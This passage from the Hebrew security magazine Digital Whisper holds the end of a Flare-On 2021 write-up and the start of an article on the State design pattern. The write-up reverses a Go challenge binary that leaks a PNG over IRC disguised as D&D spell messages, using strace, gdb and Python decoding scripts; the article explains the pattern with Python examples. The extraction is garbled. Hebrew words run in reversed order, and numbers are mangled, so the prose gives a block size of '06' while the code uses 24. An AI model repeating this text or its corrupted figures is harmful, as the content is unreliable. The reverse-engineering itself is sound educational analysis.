PRIVMSG #dungeon :I do believe I have slain the Wyvern 

 בצורה נעדכן, לכן. הראשון חלק התקשורת את מאוד מזכירה השני בחלק התקשורת, לראות שאפשר כפי

 :הבינארי את ונריץ, להסנפה בהתאם שולח DM-שה ההודעות אותן את להעביר שלנו הסקריפט את פשוטה

#  10_wizardcult ./induct 

open /mages_tower/cool_wizard_meme.png: no such file or directory 

 אותו ושולח, PNG-ה קובץ את להדליף מנסה הבינארי, התקשורת של השני שבחלק להניח סביר אז, מגניב

 לחלק בדומה strace באמצעות הפתיחה באירוע stack trace-ה את לשלוף ננסה. מקודדת בצורה לשרת

 :הראשון

#  10_wizardcult strace -e open,openat -e signal=usr1 -fik ./induct 

[...] 

strace: Process 1228 attached 

strace: Process 1229 attached 

strace: Process 1230 attached 

strace: Process 1231 attached 

strace: Process 1232 attached 

strace: Process 1233 attached 

[...] 

strace: Process 1234 attached 

[pid  1230] [00000000004aca2a] openat(AT_FDCWD, "/mages_tower/cool_wizard_meme.png", 

O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(syscall.Syscall6+0x2a) [0xaca2a] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os.openFileNolog+0x8f) [0xc888f] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os.OpenFile+0x65) [0xc7d05] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(os.ReadFile+0x8e) [0xc7f8e] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(wizardcult/potion.ReadFilePotion+0x51) 

[0x2521f1] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(wizardcult/comms.ProcessDMMessage+0xa58) 

[0x252d78] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(main.main.func2+0x4f7) [0x2c2297] 

 > 

/mnt/c/CTFs/flareon/2021/10_wizardcult/induct(github.com/lrstanley/girc.HandlerFunc.Execute+0

x5d) [0x22633d] 

 > 

/mnt/c/CTFs/flareon/2021/10_wizardcult/induct(github.com/lrstanley/girc.(*Caller).exec.func1+

0x375) [0x22de55] 

 > /mnt/c/CTFs/flareon/2021/10_wizardcult/induct(runtime.goexit+0x1) [0x6cec1] 

open /mages_tower/cool_wizard_meme.png: no such file or directory 

 כתובת מכילים שניהם) ProcessDMMessage-ב potion-ל הקריאה אותה את מכיל stack trace-שה נראה

 לשני משותף הוא המידע את לקודד מנת על CastSpells-ב שהשימוש כך(, בפונקציה 0xa58 באופסט חזרה

 . החלקים

 את עליהן להריץ וננסה PCAP-ה מקובץ spell casts-ה הודעות את ניקח - נאיבית בגישה נתחיל בואו, כך אם

 . הראשון החלק פענוח עבור כבר שיצרנו הסקריפט

 XOR-ה אך, stack trace-מה למסקנה בהתאם נכון יהיה בהכרח spells-ה באמצעות decoding-ה של החלק

 .נאיבי ניחוש בגדר ורק אך כרגע הוא 0xA2 עם
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 :ונראה כי התוצאה מתחילה ברצף הבתים הבאנריץ 

��?�9��Z�g�↕H_���▲i�B�w�%g3�8\���gq☺"K�C��7��[�⌂xg3u�j#��g� 

 PNG של header לראות אמורים היינו, עובד היה זה אם. כאן תעבוד לא נאיבית כזו שגישה כנראה אז, אוקי

 את נמלא, כך לשם .הקידוד שיטת על משלנו אבחונים לעשות להתחיל יכולים אנחנו, זאת עם. בודאות כמעט

 . 0x41 של מאוד ארוך ברצף הלוקאלי cool_wizard_meme.png הקובץ

 spells-ה באמצעות decode לו נעשה. שקיבלנו המידע את IRC-ה מערוץ ונשלוף, כעת הבינארי את נריץ

 :היא התוצאה כי ונראה(, 0xA2 עם XOR-ה שלב את מהסקריפט נעיף) בלבד

[ 

    187, 245, 247, 65, 134, 160, 105, 2, 55, 127, 247, 150, 113, 65, 233, 6, 

225, 9, 105, 174, 194, 25, 112, 35, 

    187, 245, 247, 65, 134, 160, 105, 2, 55, 127, 247, 150, 113, 65, 233, 6, 

225, 9, 105, 174, 194, 25, 112, 35, 

    187, 245, 247, 65, 134, 160, 105, 2, 55, 127, 247, 150, 113, 65, 233, 6, 

225, 9, 105, 174, 194, 25, 112, 35, 

    187, 245, 247, 65, 134, 160, 105, 2, 55, 127, 247, 150, 113, 65, 233, ... 

] 

 שעובד, מסוים צופן כאן שיש אומרת זאת. בתים 06 של בבלוקים עצמו על חוזר המידע כי לב ישימו העין חדי

 כל על היא בתים 06 של בלוק כל בתוך ההצפנה האם להבין נרצה, כעת. בתים 06 של בבלוקים המידע על

 . ביחד בתים של אוסף על או, בנפרד בית

 הערך את מכיל PNG-ה קובץ כאשר, הבינארי את להריץ תהיה מהירה בדיקה, כך לשם

"AAAAAAAAAAAAAAAAAAAAAAAB ,"האחרון הבית רק או, משתנה התוצאה כל האם ולראות. 

 :היא התוצאה כי ונראה זאת נעשה

[187, 245, 247, 65, 134, 160, 105, 2, 55, 127, 247, 150, 113, 65, 233, 

6, 225, 9, 105, 174, 194, 25, 112, 109] 

, בתים 06 של בבלוקים קורית שההצפנה להבין ניתן, כך אם. השתנה האחרון הבית שרק לראות ניתן! מגניב

 בית כל שעבור אומרת שהיא כיוון, מאוד מעניינת הזו האבחנה. לחלוטין נפרדת היא בית כל של ושההצפנה

 כל, כך לשם. ciphertext לערך plaintext מערך lookup table לבנות נוכל(, בתים 06) ההצפנה בבלוק

 בית כל עבור זהים בתים 06 של בלוקים cool_wizard_meme.png בקובץ לשים הוא לעשות שנצטרך

 (. 055 עד 2-מ) אפשרי

 כל עבור lookup table לבנות נוכל, אותה ונפענח המקודדת התוצאה את נקבל, הבינארי את שנריץ לאחר

 .עצמה בהסנפה המידע את לנו שיפענח סקריפט ולכתוב, ההצפנה בלוק בתוך אופסט

 :הרצוי הקובץ את לנו שבונה סקריפט עם ראשית נתחיל

data = ''.join(map(lambda v: chr(v) * 24, range(256))) 

with open('/mages_tower/cool_wizard_meme.png', 'wb') as f: 

    f.write(data) 



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 359  4243 נובמבר ,357גליון 
 

 התוצאה את בצד ונשמור, הבינארי את נריץ, lookup tables של הרכבה שמאפשר קובץ בידינו כשיש, עכשיו

 :והמקודדת המוצפנת

 

 להשיג דרך למצוא נצטרך, כך אם. אותו מנתק השרת, מבוקר לא בקצב שנשלח מידע שמרוב נראה! אופס

 הערך את ולהדפיס, הרלוונטי במקום BP לשים, gdb-ב הבינארי את להריץ נוכל, כך לשם. התוצאה את

 בה ולהשתמש, המקודדת התוצאה את להשיג נוכל, הלקוח את ינתק השרת אם גם, כך. להישלח שעתיד

 . lookup tables-ה יצירת עבור

 המוצפן המידע כל את לשלוף וכך, CastSpells הפונקציה בתחילת BP לעשות יכולים שאנחנו הוא מגניב קטע

 :spells-ה בסיס על הקידוד את עובר בכלל שהוא לפני, יושב הוא שבו Buffer-מה ישירות

(gdb) b *0x6536E4 

Breakpoint 1 at 0x6536e4: file /home/chris/flare-

challenges/wizardcult/comms/comms.go, line 94. 

(gdb) r 

Starting program: /mnt/c/CTFs/flareon/2021/10_wizardcult/induct 

[Thread debugging using libthread_db enabled] 

Using host libthread_db library "/lib/x86_64-linux-

gnu/libthread_db.so.1". 

[New Thread 0x7fffd88d0700 (LWP 1949)] 

[New Thread 0x7fffd3ff0700 (LWP 1950)] 

[New Thread 0x7fffd2fd0700 (LWP 1952)] 

[New Thread 0x7fffd37e0700 (LWP 1951)] 

[New Thread 0x7fffd27c0700 (LWP 1953)] 

[New Thread 0x7fffd1fb0700 (LWP 1954)] 

[New Thread 0x7fffd1640700 (LWP 1955)] 

[Switching to Thread 0x7fffd1640700 (LWP 1955)] 

 

Thread 8 "induct" hit Breakpoint 1, 0x00000000006536e4 in 

wizardcult/comms.CastSpells (monsterid=..., msg=..., c=0xc000127a00) at 

/home/chris/flare-challenges/wizardcult/comms/comms.go:94 

94 /home/chris/flare-challenges/wizardcult/comms/comms.go: No such file 

or directory. 

(gdb) dump binary memory dict.bin $rdx $rdx+6144 

(gdb) 
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 בבלוק אופסט כל עבור lookup table ממנו שבונה סקריפט נכתוב, ביד הזה המידע את לנו כשיש, כעת

 (:בתים 06) ההצפנה

with open('dict.bin',  'rb') as f: 

    data = map(ord, f.read()) 

 

lookup_tables = [] 

for _ in range(24): 

    lookup_tables.append({}) 

 

for i in range(256): 

    for j in range(24): 

        lookup_tables[j][data[i * 24 + j]] = i 

 

print lookup_tables 

 :עצמה מההסנפה המידע את לפענח ננסה, גם ביד lookup tables-ה את לנו כשיש, עכשיו

SPELLS = [ 

    "Eldritch Blast", 

    "Mass Heal", 

    "Fireball", 

    "Dominate Monster", 

    "Detect Magic", 

    "Stone Shape", 

    "Clairvoyance", 

    "Aid", 

    # [...] 

] 

 

decoded = [] 

 

with open('sniff.txt', 'r') as f: 

    for message in f: 

        spell = message.split('I cast ')[1].split(' on the')[0] 

        decoded.append(SPELLS.index(spell)) 

 

        damages = message.split(' for ')[1].split(' ')[0].split('d') 

        decoded += map(int, damages) 

 

decrypted = [] 

 

for i, v in enumerate(decoded): 

    decrypted.append(lookup_tables[i % 24][v]) 

 

with open('result.png', 'wb') as f: 

    f.write(''.join(map(chr, decrypted))) 

 :תקין PNG קובץ קיבלנו אכן כי ונראה, result.png על נסתכל

$ file result.png 

result.png: PNG image data, 512 x 680, 8-bit/color RGBA, non-interlaced 
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 :אותו לפתוח ננסה

 

 הוא כיצד להבין, Go-ב שנכתב ELF לקובץ מהסנפה להגיע באתגר הצלחנו, כך אם! דגל השגנו, מגניב

, dungeon#-ה אנל'בצ D&D-ה משחק מאחורי שמקודד האמיתי המידע את לחשוף, IRC מעל מתקשר

 באותה שהוצפנה אחרת הודעה פענוח שמאפשרת המינימלית בצורה המידע של ההצפנה את ולאבחן

 קובץ - לשרת התוקף בין שהועבר האמיתי למידע והגענו, הכל שיפענחו סקריפטים כתבנו, מכן לאחר. הדרך

PNG הדגל את בתוכו שהכיל. 

 ולא הבינארי את לחקור לנו שסייעו כלים מספר בעוד השתמשנו, האתגר של המקורי הפתרון במהלך, כן כמו

 :אותם להכיר שווה אך, בפועל מהפתרון חלק היו

 Redress - של מבינארים מידע לחילוץ מצוין כלי Go ,עבורנו חילץ type definitions ,של חתימות 

 .עצמו לניתוח מאוד שימושית שהייתה אינפורמציה ועוד מודולים, פונקציות

 gdb - על לפרט צורך אין gdb של לדיבאגינג ספציפית אך, הסתם מן עצמו Go binaries ,שימושי הוא 

 Go של debug info עם בעבודה מצוין הוא, ולכן, בעצמם אותו מתחזקים Go של שהמפתחים כיוון, מאוד

 עם עבודה, המודולים על אנומרציה, אובייקטים של fields-ל גישה, ארגומנטים, locals של אינפורמציה -

goroutines של הזה המדריך'. וכו Go של רים'הפיצ את מתאר gdb של לדיבאינג Go .זו 

 
  

https://go-re.tk/redress/
https://go-re.tk/redress/
https://golang.org/doc/gdb
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 פי גבוהה ברמה, אותו למצות ומסוגל Go של debug info-ל מודע gdb כמה שמדגימה נחמדה דוגמה

 :בסגנון וכלים IDA משל כמה

(gdb) b *0x652227 

Breakpoint 1 at 0x652227: file /home/chris/flare-

challenges/wizardcult/potion/potion.go, line 89. 

(gdb) r 

 

Thread 1 "induct" hit Breakpoint 1, wizardcult/potion.ReadFilePotion 

(p=0xc0000e2850, arg=..., ~r2=...) at /home/chris/flare-

challenges/wizardcult/potion/potion.go:89 

89      /home/chris/flare-challenges/wizardcult/potion/potion.go: No such 

file or directory. 

(gdb) info locals 

prog = 0xc0002801a0 

dat = {array = 0xc000500000 "", len = 6144, cap = 6145} 

prog_out = <optimized out> 

err = <optimized out> 

(gdb) set print pretty on 

(gdb) whatis prog 

type = wizardcult/vm.Program * 

(gdb) p *prog 

$1 = { 

  Magic = 4919, 

  Input = { 

    Name = 0x0 "", 

    x0 = 0xc0002901e0, 

    input = 0x0, 

    control = 0x0 

  }, 

  Output = { 

    Name = 0x0 "", 

    x0 = 0xc000290240, 

    output = 0x0, 

    control = 0x0 

  }, 

  Cpus = { 

    array = 0xc0002aa240, 

    len = 6, 

    cap = 6 

  }, 

  ROMs = { 

    array = 0xc000408000, 

    len = 4, 

    cap = 4 

  }, 

  RAMs = { 

    array = 0x0, 

    len = 0, 

    cap = 0 

  }, 

  Links = { 

    array = 0xc00040c000, 

    len = 16, 

    cap = 16 

  }, 

  controls = { 

    array = 0x0, 

    len = 0, 

    cap = 0 

  } 

} 
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 סיכום

, שונים דומיינים ממגוון בעיות במגוון נגעו, מאוד מגוונים היו הם. מצוינים היו השנה Flare-On אתגרי, לסיכום

 בגו בינארים של למחקר עד, מתקדמות אובפוסקציות עם ווינדוס של בינארים של מרברסינג החל

, כרגיל מאוד מהנים היו האתגרים. תקין JSFuck קוד לייצר כדי חכמים וברוטפורסים IRC מעל שמתקשרים

 . שלושה-שבועיים במשך הלילות את בכיף לנו ומילאו

 :הם במיוחד שאהבנו האתגרים

 8 אתגר - PetMyKitty: בפורמט להתעמק לנו יצא לא מעולם delta של Microsoft ב או-patch files ,

 .חביב ממש היה צדדים בין payloads להעברת דרך בתור בו שימוש של והקונספט

 אתגר : - Beelogin: לא בעיה לפתור כדי ביצירתיות שימוש מאיתנו שדרש, שגרה שובר אתגר לגמרי 

 .יעילה בצורה תקין JS לקוד שיוביל מפתח מציאת של בכלל קלאסית

 אתגר ; - Evil: ממש מגניבה אובפוסקציה טכניקת של ניתוח שכלל, מאוד( ומהנה) קשוח אתגר היה זה 

 לרברס לנו יצא שלא זמן הרבה אחרי. שלנו המחקר על להקשות שניסו טריקים המון בתוכו וכלל

 .הזדמנות אחלה הייתה זו, קשוחים כך כל בינארים

 32 אתגר - Wizrdcult: חוויה הייתה שזו כך, בגו שכתובים בינארים של ברברסינג התנסינו לא פעם אף 

 בהרבה כיצד והראו הדרך את מאוד לנו שקיצרו טריקים במספר שימוש עשינו, בנוסף. מצוינת לימודית

 בוחרים אם לפתור טריויאליות לא שמאוד בעיות לפתור מאפשרת מסוימת במתודולוגיה בחירה, מקרים

 (.גו של מתקדמים רים'בפיצ שמשתמש מאוד מסובך VM של סטטי רברסינג) אחרת במתודלוגיה

, כן כמו. כך על פיצו לגמרי שהם טובים כך כל היו האתגרים שאר, 5-ו 3 לאתגרים התחברנו שפחות למרות

 ומקווים, הבא באתגר להשתתף מחכים. שעברה בשנה 16-ל בניגוד, ישראלים פותרים 18 היו השנה כי נציין

 !הבאה בשנה scoreboard-ב ישראלים שיותר כמה לראות

 .@MeitarReihan-ו @omerk2511: בטוויטר אלינו לפנות מוזמנים, נוספות לשאלות

 

  

https://twitter.com/omerk2511
https://twitter.com/MeitarReihan
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Design Patterns - הקופסה עם לחשוב איך 

 פרגר ואור טולדנו עידו מאת

 

 הגלגל

 בבגרות אנשים להכשיל, חשמל להפיק, לנוע דוממים לחפצים לגרום? לעשות יכול לא הוא מה

, האנושות של המכוננות מההמצאות לאחת נחשב שהגלגל מהסיבות חלק רק הנם אלו כל ...במתמטיקה

 השימושים בשלל שלה והאפקטיביות היעילות בשל מחדש להמציא או להחליף מנסה לא אחד שאף כזו

 .לה שיש

 ביצירת מיותרת עבודה לביצוע מתייחס אשר", מחדש הגלגל את להמציא" הביטוי גם הומצא בכדי לא

 למימוש להתייחס יכול הביטוי, למשל תוכנה בפיתוח. יותר טובה בצורה הנראה וככל, קיים כבר אשר דבר

 להצפין נרצה, לדוגמה, אם. שלישי צד ספריות שלל י"ע סופקה שכבר פונקציונליות שמבצע כלשהו קוד

 ומוצלחת טובה בצורה צופן מודלי המממשת קיימת בספרייה להשתמש שעדיף כנראה, מסוים מידע

 להניח סביר, בעצמנו צופן מודל לממש מנסים היינו אם. מאפס צופן מודל אותו את את לממש מאשר

 ובכך, בדרך טעות עושים שהיינו סביר סיכוי קיים, מכך ויתרה, לצורך שלא רב זמן אורך היה שהתהליך

 .שכתבנו הצופן מודל את מחלישים

 נעסוק זה במאמר. רבים מקרים עוד ישנם אך", מחדש הגלגל המצאת"ה להימנעות אחת דוגמה רק זוהי

 .Design Patterns - שלה ובפיתרון, התוכנה פיתוח של בהיבט זו בבעיה

 

 ?טוב זה ולמה Design Patterns זה מה אז

 לא שפותחו להגיד ניתן(, שנה 82-כ של קצרה לא תקופה) היום ועד התוכנה פיתוח עולם של מראשיתו

 תוכנות הרבה כך וכל מאחר. צרובות אף וחלקן מקומפלות חלקן, קטנות חלקן, גדולות חלקן. תוכנות מעט

 אחרים מפתחים התקילו שכבר בבעיות נתקלו השנים לאורך רבים שמפתחים הגיוני, היום עד נכתבו

 .ידיהם על נפתרו גם ובתקווה בעבר

 את טבעו אשר(, gang of four" )הארבעה כנופיית" בכינוי הידועים, ון'וג ראלף, רד'ריצ, אריך גם חשבו כך

 לא". )design patterns: "ההולם השם בעל בספרם( עיצוב תבניות - בעברית או) design patterns הביטוי

 (אחרות סיבות בשל ידועים אשר המקורית" הארבע כנופיית" עם להתבלבל

 עוצבו אשר ומחלקות אובייקטים בין תקשורת של תיאור" היא Design Pattern", הארבעה כנופיית" לפי

 היא design pattern, יותר פשוט ניסוח להציע אם". מסויים בהקשר מסויימת עיצוב בעיית לפתור כדי

 .תוכנה בפיתוח כלשהי כללית לבעיה כללי פיתרון מבנה
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 :האלו החלקים באמצעות design pattern לתאר ניתן", הארבעה כנופיית"ב נעזר אם

 ה מה :מטרה-design pattern שלה התכלית מה? משפרת/  פותרת? 

 שה הבעיה את המדגים תרחיש :מניע-design pattern ה כיצד ומתאר פותר-design pattern עוזרת 

 .אותה לפתור

 אותה בהם המצבים של תיאור :יישומיות design pattern שימושית תהיה. 

 ה של מימוש שמרכיבים השונים החלקים של תיאור :מבנה-design pattern (ירושות, ממשקים 

 ...(.וכדומה

 ה כיצד :השלכות-design patterns השימוש של והחסרונות היתרונות הם מה? מטרתה את משיגה 

 ?בה

 :design patterns-ב משימוש יתרונות של מבוטל לא מספר מרוויחים כמפתחים אנו

 מיותרים מאמצים משקיעים לא אנו design patterns-ב שימוש י"ע, המאמר בתחילת שהוזכר כפי, ראשית

 מנת על ומוכח מוכר בקונספט להשתמש לנו מאפשר design pattern-ב שימוש". מחדש הגלגל המצאת"ב

 הדבר אך, בעצמנו טוב פיתרון למצוא שנוכל ייתכן. בעצמנו חדש פתרון להמציא במקום, בעיה לפתור

 פיתרון או) יותר טוב פיתרון למצוא נוכל שאכן הבטחה שאין גם מה, משמעותית יותר רב זמן ייקח כנראה

 (. קודם נמצא שלא

 בהן שעושות התוכנות את יותר טוב להבין לנו מאפשר design patterns-ה נושא הבנת, לכך בנוסף

 design, שלנו לתוכנה ייחודיות ופונקציות מחלקות של כאוסף כלשהי תוכנה על להסתכל במקום. שימוש

patterns באמצעות. ומאורגן מופשט יותר באופן התוכנה של שונים חלקים ולהגדיר לאפיין לנו מאפשרות 

 נמחיש זו נקודה את) ממומשת היא כיצד לעומק שנדע מבלי גם תוכנה להבין מסוגלים אנו, זו הפשטה

 (.design pattern-ב שימוש הדגמת בשלב

 אנו כאשר. התוכנה הרחבת ונוחות הפיתוח זמן הקטנת הינו design pattern-ב שימוש של נוסף יתרון

 תיקוני) שינויים תעבור היא הזמן שעם להניח מאוד סביר, שימוש בה יעשו אחרים שאנשים תוכנה כותבים

 או/ו תכולות והוספת שהרחבת כך בנויים טובים design patterns...(. וכו פונקציונאליות הרחבת, באגים

 השינויים את לעשות יהיה וניתן מאחר, בקוד רב שינוי יגררו לא הקיימות התכולות של תכונות שינוי

 מוזמנים אתם, לעומק יותר זו נקודה להבין מנת על. )בקוד מקומות של שניתן כמה מצומצם במספר

 (S.O.L.I.D התוכנה פיתוח עקרונות על לקרוא

 להעתיק ניתן לא. פתרון של מימוש או מדויק פתרון אינן הן design patterns-ש להבין חשוב, זאת כל עם

 כיצד ותכנון מחשבה דורש design patterns-ב שימוש. לקוד לעשות שניתן כמו design pattern ולהדביק

 מופרז משימוש שנמנע מנת ועל פותרים אנו אותה לבעיה רלוונטי יהיה שהיישום מנת על, אותן ליישם יש

 ישנן, לדוגמה) התבנית של למימוש מתאימים לרשותנו העומדים האמצעים האם. design pattern-ב

design patterns רלוונטית התבנית האם(? אחרות פני על מסויימות בשפות למימוש יותר נוחות אשר 

 ?מתמודדים אנו עמה לבעיה
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 יותר "Hello World" להדפיס מנת על כלשהי design pattern-ב להשתמש נצטרך שלא כנראה, לדוגמה

 הקוד את יסבך כנראה וזה מאחר(, המאמר בסוף יצורף לדוגמה קישור, אפשרי שזה למרות) ביעילות

 באמצע ורק שלנו בתוכנה design pattern ולממש לתכנן נרצה לא, בנוסף. זאת מצדיקה שלא במידה

 .לפתור מנסים אנו אותה לבעיה רלוונטית אינה כלל design pattern-שה לגלות( הטוב במקרה) העבודה

 

 דוגמאות קצת

 לא design patterns של יותר אף גדול מגוון וכנראה) מתועדות design patterns של גדול מגוון קיים

 .State: אחת בתבנית נתמקד אנו היום אך(, מתועדות

 ?מטרה

State הנה design pattern המצב לפי התנהגותו את לשנות לאובייקט מאפשרת אשר (State) הוא בו 

 .נתון רגע בכל נמצא

 (הבעיה) מניע

 להחליף יוכל שהוא) התנהגותו תיקבע פיהם שעל שונים מצבים לו שיהיו כך אובייקט ליצור ניתן כיצד

 נאפשר איך, אחרות במילים? עצמו האובייקט של המימוש את המידה על יתר ולנפח לסבך מבלי(, בינהם

 פשוט עצמו האובייקט של המימוש על שומרים שאנחנו כדי תוך שונים אופנים במספר להתנהג לאובייקט

 ? הניתן ככל

 פתרון

 בהם השונים המצבים את מייצגות אשר State למחלקות האובייקט את המייצגת המחלקה פירוק

 .State-ה במחלקת State-ל האופיינית ההתנהגות ומימוש להיות יכול האובייקט

 ופתרון לבעיה מעשית דוגמה

 דליפות בנושא בלוגים המארח חדש אתר לממש Digital Whisper של המנהל י"ע נבחרתם! טוב מזל

 של מהחקיין ונפרדתם הקונפטי את שניקיתם אחרי! Digital careless whisper: תעשייתי וריגול מידע

 .לעבודה ניגשתם, ההכרזה אירוע לכבוד ששכרתם מייקל' ורג'ג
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. המאמרים פרסום של הקוד על לעבוד מתחילים אתם ואז, צורה ומקבל מתקדם האתר, ויפה טוב

 :הבא הממשק י"ע מתואר אשר", Article" בשם אובייקט י"ע ייוצג מאמר שכל החלטתם

 :מאפיינים

1. state :להיות יכול, המאמר מצב את מתאר Draft (לפרסום מוכן לא, טיוטה ,)Moderated Draft 

 (.פורסם) Published או( לפרסום מוכן, סופית טיוטה)

2. name :המאמר שם. 

3. publisher :המאמר כותב. 

4. text :המאמר תוכן 

 :מתודות

1. add_text :ב בהתחשב המאמר טקסט את העורכת מתודה-state כך, שלו: 

 .הקיים לתוכן טקסט להוסיף תאפשר המתודה: Draft במצב מאמר .1

 למאמר טקסט להוסיף נרצה ולא מאחר שגיאה תחזיר המתודה: Moderated Draft במצב מאמר .0

 .בדיקה יעבור שהוא בלי

 ניתן לא לכן, פורסם כבר והמאמר מאחר שגיאה תחזיר המתודה: Published במצב מאמר .3

 .לשנותו

0. ask_review :ב בהתחשב לאישור המאמר את השולחת מתודה-State כך, שלו: 

 .Moderated Draft למצב האובייקט את תעביר המתודה: Draft במצב מאמר .1

 Moderated במצב כבר המאמר שכן, דבר תבצע לא המתודה: Moderated Draft במצב מאמר .0

Draft. 

 .אותו לבדוק ניתן ולא פורסם כבר המאמר שכן, שגיאה תחזיר המתודה: Published במצב מאמר .3

3. publish :ב בהתחשב המאמר של פרסום המבצעת מתודה-State כך, שלו: 

 קודם בדיקה לאחר מאושר להיות המאמר על שכן, שגיאה תחזיר המתודה: Draft במצב מאמר .1

 .לכן

 ידי על ינתן האישור אם רק המאמר את תפרסם המתודה: Moderated Draft במצב מאמר .0

 .Published למצב האובייקט את ותעביר, אדמין

 .spamming מעודד לא שהאתר מאחר, שגיאה תחזיר המתודה: Published במצב מאמר .3

6. render :המבצעת מתודה render (למשתמש אותו תציג כלומר )ב בהתחשב למאמר-State כך, שלו: 

 .למאמר render תעשה לא המתודה: Draft במצב מאמר .1

 .למאמר render תעשה לא המתודה: Moderated Draft במצב מאמר .0

 .למאמר render תעשה המתודה: Published במצב מאמר .3

5. change_state :מקבלת אשר מתודה state ה את ומשנה כקלט-state ה של-Article בהכרח אין. אליו 

 הפעולות כל את לרכז לנו מאפשרת זו דרך אך, משלה למתודה זו פונקציונאליות את לייצא צורך

 .אחת למתודה( ים-log באמצעות תיעוד או קלט תקינות בדיקת כמו) state שינוי בעת שקורות
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 :ים-Exception שני לממש נרצה בנוסף

1.  LogicError - פרסום כמו) הגיונית לא פעולה לבצע ניסיון נעשה כאשר תיזרק אשר לוגית שגיאה 

 (.פורסם שכבר מאמר

0. AuthorizationError - לו שאסור פעולה לבצע מנסה משתמש כאשר נזרקרת אשר שגיאה 

 .לבצע

 בדיקת כמו חשובים לחלקים התייחסנו לא, design pattern-ב שימוש לממש היא ההדגמה ומטרת מאחר)

 (המרכזי מהרעיון הדעת את להסיח לא מנת על בשגיאות וטיפול קלט

 :כך יראה ל"הנ הרעיון של קוד-פסודו
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 :כך( האתר את לכתוב בחרתם בה השפה) python-ב ייראה זה רעיון של מימוש

Class Article: 

   def __init__(self, name, publisher): 

      self.name = name 

      self.publisher = publisher 

      self.state = "Draft" 

      self.text: str = "" 

 

   def add_text(self, text): 

      if self.state == "Draft": 

         self.text += text 

      else: 

         raise Exception("Cannot add text if not a draft") 

 

   def ask_review(self): 

      if self.state == "Draft": 

         self.state = "Moderation Draft" 

      else: 

         raise Exception("Cannot ask for review if not a draft") 

 

   def publish(self): 

      if self.state == "Moderation Draft": 

         self.state = "Published" 

      else: 

         raise Exception("Cannot publish article if it hasn't been reviewed") 

 

   def render(self): 

      if self.state == "Draft": 

         return ""  # A draft should not be rendered 

      else if self.state == "Moderation Draft": 

         return ""  # A moderation draft also should not be rendered 

      else: 

         return f"{self.name} (by: {self.publish}\n{self.text}" 

 רק ישנם לעכשיו נכון: publish המתודה של המימוש עם בעיה ישנה אבל, עובד כ"ובסה נחמד הרעיון

 נרצה אם ייקרה מה אך, פשוטה יחסית אחד לכל והפונקציונליות article-ל אפשריים מצבים שלושה

 ,add_text, הזה החדש במצב אם מה(? יותר מורכבת ואולי) ייחודית פונקצונליות עם חדש מצב להוסיף

render, publish ו-render הפונקציות כל את לערוך נצטרך? כה עד מהמתואר שונה באופן כולן יתנהגו 

 תהפוך כך ים-state יותר שנוסיף ככל אך, הקצר בטווח טוב תעבוד אולי זו תכנית. בהתאם הרלוונטיות

 באופן לתחזוק נוח ופחות קריא לפחות יהפוך שלנו הקוד כללי ובאופן יותר למורכבת article המחלקה

 .משמעותי

 

 :לעזרתנו נחלץ State design pattern-ה כאן בדיוק, דאגה אל אך

 כיצד מתארת אשר, State אבסטרקטית מחלקה ניצור, כלשהי מחרוזת יהיה state שהמאפיין במקום

state ומחלקות, ולהתנהג להיראות אמור state-הרלוונטיות הפונקציות את ומממשות ממנה שיורשות ים 

 .הצורך בעת(, state במחלקה שמתואר מה לפי) בעצמן להן
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 :כך ייראה ים-state עם בשימוש התוכנה של המבנה

 

 להדגמה ועכשיו

 .state design pattern-ב שימוש באמצעות" Article" האובייקט של מחדש מימוש נדגים כעת

 state שכל הממשק את מגדירה אשר State בשם מחלקה לכתוב נרצה, התוכנה במבנה שמתואר כפי

 :לממש צריך  articleשל

class AuthorizationError(Exception): 

    """ Authorization error, thrown when a user tries to do something he is not 

allowed to """ 

    pass 
 

 

class LogicError(Exception): 

    """ Logic error, thrown when someone isn't following the correct steps of 

publishing an article """ 

    pass 
 

 

class State: 

    """ A representation of the article's state """ 

 

    def add_text(self, article, text): 

        """ Add text to the article according to it's state """ 

        raise LogicError("Can't add text in the current state") 

 

    def render(self, article, user): 

        """ Render the article according to it's state and the requesting user 

""" 

        raise LogicError("Can't render article in the current state") 

 

    def ask_review(self, article, user): 

        """ Ask for review on the article according to it's state and the 

requesting user """ 

        raise LogicError("Can't ask review in the current state") 

 

    def publish(self, article, user): 

        """ Publish the article according to it's state and the requesting user 

""" 

        raise LogicError("Can't publish article in the current state") 
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 והיא מאחר(, במקום שגיאה זורקת אלא) פונקציה אף מממשת אינה עצמה State שהמחלקה לציין יש

 .state של" תבנית" רק אלא בעצמה state אינה

-ה של ים-state-ה שלושת את לממש נרצה, להראות צריכה" state" מחלקת לאיך ממשק לנו שיש כעת

article (draft, moderation, publlished .)יורשת מהן אחת כל כאשר, מחלקות 3 יצירת י"ע זאת נעשה 

 לפי) למתודות שונה מימוש state לכל. צורכן לפי בה המוגדרות המתודות את ומממשת State מהמחלקה

 :State של לזו זהה יהיה מתודה כל של signature-ה אך".(, Article" המחלקה של בממשק שתיארנו איך

class Draft(State): 

 

    def add_text(self, article, text): 

        """ Add text to the article """ 

        article.text += text 

 

    def render(self, article, user): 

        """ Render the article only if the user requesting it is the publisher 

""" 

        if user != article.publisher: 

            raise AuthorizationError("Not publisher") 

 

        return article.text 

 

    def ask_review(self, article, user): 

        """ Ask for review only if the user requesting it is the publisher """ 

        if user != article.publisher: 

            raise AuthorizationError("Not publisher") 

 

        article.change_state(Moderation) 

 

 

class Moderation(State): 

    def render(self, article, user): 

        """ Render the article only if the user requesting it is the publisher 

or the site admin """ 

        if user != article.publisher and user != "admin": 

            raise AuthorizationError("Not user or admin") 

 

        return article.text 

 

    def publish(self, article, user): 

        """ Publish the article according to it's state """ 

        if user != "admin": 

            raise AuthorizationError("Not admin") 

 

        article.change_state(Published) 

 

 

class Published(State): 

    def render(self, article, user): 

        """ Render the article to whomever (NOT whoever) wishes to see it """ 

        return f"PRESENTING: {article.name}\n" \ 

               f"BY: {article.publisher}\n" \ 

               f"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" \ 

               f"{article.text}\n" \ 

